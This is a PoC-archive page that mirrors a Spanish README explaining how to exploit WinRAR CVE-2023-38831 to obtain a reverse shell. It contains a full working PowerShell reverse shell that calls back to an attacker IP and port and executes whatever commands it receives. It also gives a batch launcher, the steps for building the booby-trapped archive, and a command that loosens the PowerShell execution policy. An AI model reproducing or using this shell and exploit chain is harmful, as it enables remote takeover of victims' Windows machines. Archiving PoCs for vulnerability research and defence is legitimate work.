POC详情: f4194bcdac1d931dccbb0edcfa6f02df49e366b5

来源
关联漏洞
标题: WinRAR 安全漏洞 (CVE-2023-38831)
描述:WinRAR是一款文件压缩器。该产品支持RAR、ZIP等格式文件的压缩和解压等。 RARLabs WinRAR 6.23之前版本存在安全漏洞。攻击者利用该漏洞可以执行任意代码。
描述
Pasos necesarios para obtener una reverse shell explotando la vulnerabilidad de winrar CVE-2023-38831 en versiones anteriores a 6.23.
介绍
# OBTENCIÓN DE REVERSE SHELL EXPLOTANDO LA VULNERABILIDAD CVE-2023-38831 DE WINRAR

En este repositorio vamos a explotar la vulnerabilidad CVE-2023-38831 de winrar de tal forma que podamos obtener una reverse shell desde la máquina víctima Windows a la máquina atacante Kali Linux.

## PASOS PREVIOS

Descargamos el contenido de este repositorio:

![imagen](https://github.com/Maalfer/CVE-2023-38831_ReverseShell_Winrar-RCE/assets/96432001/76e5d05c-fc09-4c1c-ac30-7643de19f846)


A continuación, debemos de instalar las dependencias de Python necesarias para poder explotar esta vulnerabilidad con los siguientes comandos:

```
pip install rarce
```
![imagen](https://github.com/Maalfer/CVE-2023-38831_ReverseShell_Winrar-RCE/assets/96432001/7568907f-454b-42e8-a75d-71028a2bbd53)

## PREPARATIVOS

Vamos a ejecutar un código malicioso que nos proporcione una reverse shell, procedente de la web revshells.com (proporcionando la IP y puerto de atacante correspondiente):

https://www.revshells.com/

![imagen](https://github.com/Maalfer/CVE-2023-38831_ReverseShell/assets/96432001/293fc1a8-9284-44a1-b7b9-03942a56cded)

```
$LHOST = "192.168.0.36"; $LPORT = 443; $TCPClient = New-Object Net.Sockets.TCPClient($LHOST, $LPORT); $NetworkStream = $TCPClient.GetStream(); $StreamReader = New-Object IO.StreamReader($NetworkStream); $StreamWriter = New-Object IO.StreamWriter($NetworkStream); $StreamWriter.AutoFlush = $true; $Buffer = New-Object System.Byte[] 1024; while ($TCPClient.Connected) { while ($NetworkStream.DataAvailable) { $RawData = $NetworkStream.Read($Buffer, 0, $Buffer.Length); $Code = ([text.encoding]::UTF8).GetString($Buffer, 0, $RawData -1) }; if ($TCPClient.Connected -and $Code.Length -gt 1) { $Output = try { Invoke-Expression ($Code) 2>&1 } catch { $_ }; $StreamWriter.Write("$Output`n"); $Code = $null } }; $TCPClient.Close(); $NetworkStream.Close(); $StreamReader.Close(); $StreamWriter.Close()
```

Este código de powershell lo guardamos en un fichero .ps1 (será ejecutado posteriormente):

![imagen](https://github.com/Maalfer/CVE-2023-38831_ReverseShell/assets/96432001/c203c1fd-0cc2-436c-90a5-44b15bb18382)

Una vez obtenido el código en ps1 para obtener la reverse shell, creamos un fichero python que mediante el uso de la librería os se encargue de ejecutar el fichero .ps1:

![imagen](https://github.com/Maalfer/CVE-2023-38831_ReverseShell/assets/96432001/050814e6-e714-44cd-bd2e-18b3ec3c86a0)

Después, creamos un .bat con el siguiente código:

![imagen](https://github.com/Maalfer/CVE-2023-38831_ReverseShell/assets/96432001/5d79bcc3-a2a2-4cf8-9f1d-540e7e1977a2)

```@echo off

rem Ruta al ejecutable de Python
set PYTHON_EXECUTABLE=python.exe

rem Ruta al script de Python que deseas ejecutar
set PYTHON_SCRIPT=pwned.py

rem Ejecutar el script de Python
%PYTHON_EXECUTABLE% %PYTHON_SCRIPT%

rem Pausa para que puedas ver la salida antes de que se cierre la ventana
pause
```


## EXPLOTACIÓN

En este punto debemos de crear el winrar malicioso:

![imagen](https://github.com/Maalfer/CVE-2023-38831_ReverseShell/assets/96432001/c6d9d31d-0068-4b4f-bb86-7a85436d1f10)

Ejecutamos el archivo documento.pdf dentro del .rar:

![imagen](https://github.com/Maalfer/CVE-2023-38831_ReverseShell_Winrar-RCE/assets/96432001/92601051-7385-4e95-be85-4e8488dc855e)


![imagen](https://github.com/Maalfer/CVE-2023-38831_ReverseShell_Winrar-RCE/assets/96432001/61de11e3-dc4b-4096-a587-2ce3eda716a1)

Por último, si permanecemos en esucha con netcat desde una máquina atacante, habremos recibimos la reverse shell:

![imagen](https://github.com/Maalfer/CVE-2023-38831_ReverseShell/assets/96432001/1c63917f-9139-4199-bbb5-1733186b4625)

## SOLUCIÓN DE POSIBLES ERRORES:

En caso de no poder ejecutar comandos de powershell, es necesario habilitar la ejecución de scripts en nuestro sistema:

![imagen](https://github.com/Maalfer/CVE-2023-38831_ReverseShell/assets/96432001/67d424aa-952f-4eba-b3c8-367f26a8a0d7)

![imagen](https://github.com/Maalfer/CVE-2023-38831_ReverseShell/assets/96432001/4671816c-f06b-4027-bbca-04d9123259bd)

Lo habilitamos:

![imagen](https://github.com/Maalfer/CVE-2023-38831_ReverseShell/assets/96432001/bd045996-26c7-4c24-89f7-529b9c576c76)

Y ejecutamos el siguiente comando:

```Set-ExecutionPolicy RemoteSigned -Scope CurrentUser```




文件快照

[4.0K] /data/pocs/f4194bcdac1d931dccbb0edcfa6f02df49e366b5 ├── [ 318] comando.bat ├── [ 82K] documento.pdf ├── [ 34K] LICENSE ├── [ 50] pwned.py ├── [4.0K] rarce │   ├── [1.5K] cli.py │   ├── [ 100] __init__.py │   ├── [ 30] __main__.py │   └── [5.6K] rarce.py └── [4.2K] README.md 1 directory, 9 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
    3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。